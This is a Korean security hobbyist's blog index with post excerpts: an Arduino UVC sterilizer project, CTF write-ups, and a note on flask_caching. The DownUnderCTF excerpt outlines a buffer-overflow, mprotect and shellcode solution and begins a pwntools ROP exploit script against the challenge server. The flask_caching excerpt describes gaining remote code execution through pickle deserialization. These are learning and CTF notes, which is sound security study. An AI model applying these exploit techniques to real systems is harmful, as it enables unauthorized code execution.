아두이노로 살균기 만들기
·
카테고리 없음
사실 여름방학때 했었던 일인데 귀찮아서 포스팅안하고 있다가 이제서야 올립니다 ㅎㅎ.. 코로나가 기승이라 마스크도 살균하고, 휴대폰도 살균하려고 만들어본 살균기입니다! 얼마전에 인터넷뉴스에서 코로나바이러스가 UVC에 노출되면 100%가 아닌 99.9% 제거할 수 있다는 기사를 봤습니다. 집에 살균기 하나씩은 장만해두면 좋을거 같아요 ㅎㅎ UV?자외선이라고 불리는 UV 파장은 크게 UVA, UVB, UVC로 나눌 수 있습니다.UVA 파장은 320-400nm로 세 파장 중 가장 긴 파장을 가지고 있으며 지구 표면에 도달하는 자외선의 최대 95%를 차지하고 있습니다. 즉 저희가 일반적으로 쐬고있는 태양빛이 이 UVA에 해당됩니다. UVB 파장은 290-320nm입니다. 한 여름철에 태양빛이 엄청 강할때 발생합니..
[darkctf] write-up
·
PWN/CTF
FIREBASE 관련 문제
·
WEB
보호되어 있는 글입니다.
[DownUnderCTF] Return to what's revenge
·
PWN/CTF
seccomp, bof 문제이다. mprotect를 사용해 bss 영역에 rwx 권한을 주고난 뒤 read 함수를 사용해 bss영역에 flag.txt를 open함수를 통해 열고 read , write를 해주는 쉘코드를 만들어 쓴 후 bss영역으로 RIP를 변조했다. 아래와 같은 코드를 작동시키면 문제가 해결된다. from pwn import * s = remote("chal.duc.tf",30006) elf = ELF("./return-to-whats-revenge") libc = ELF("./libc.so") context.arch = 'amd64' pay = b"A"*0x30 pay += b"B"*8 pay += p64(0x004019db) pay += p64(elf.got['puts']) pay +..
flask_caching
·
WEB
flask_caching 모듈을 사용할때 Cache Type을 redis로 선택하게되면 serializeserialize deserialize를 할 때 pickle을 사용한다! 이점을 이용해 reduce 메소드를 활용해 RCE를 할 수 있다. github.com/sh4nks/flask-caching/tree/master/flask_caching/backends stackoverflow.com/questions/32094249/how-do-i-work-with-cached-values-created-by-flask-cache How do I work with cached values created by flask-cache I'm using flask-cache in an app and trying to ..
Linux command
·
PWN/TIP
보호되어 있는 글입니다.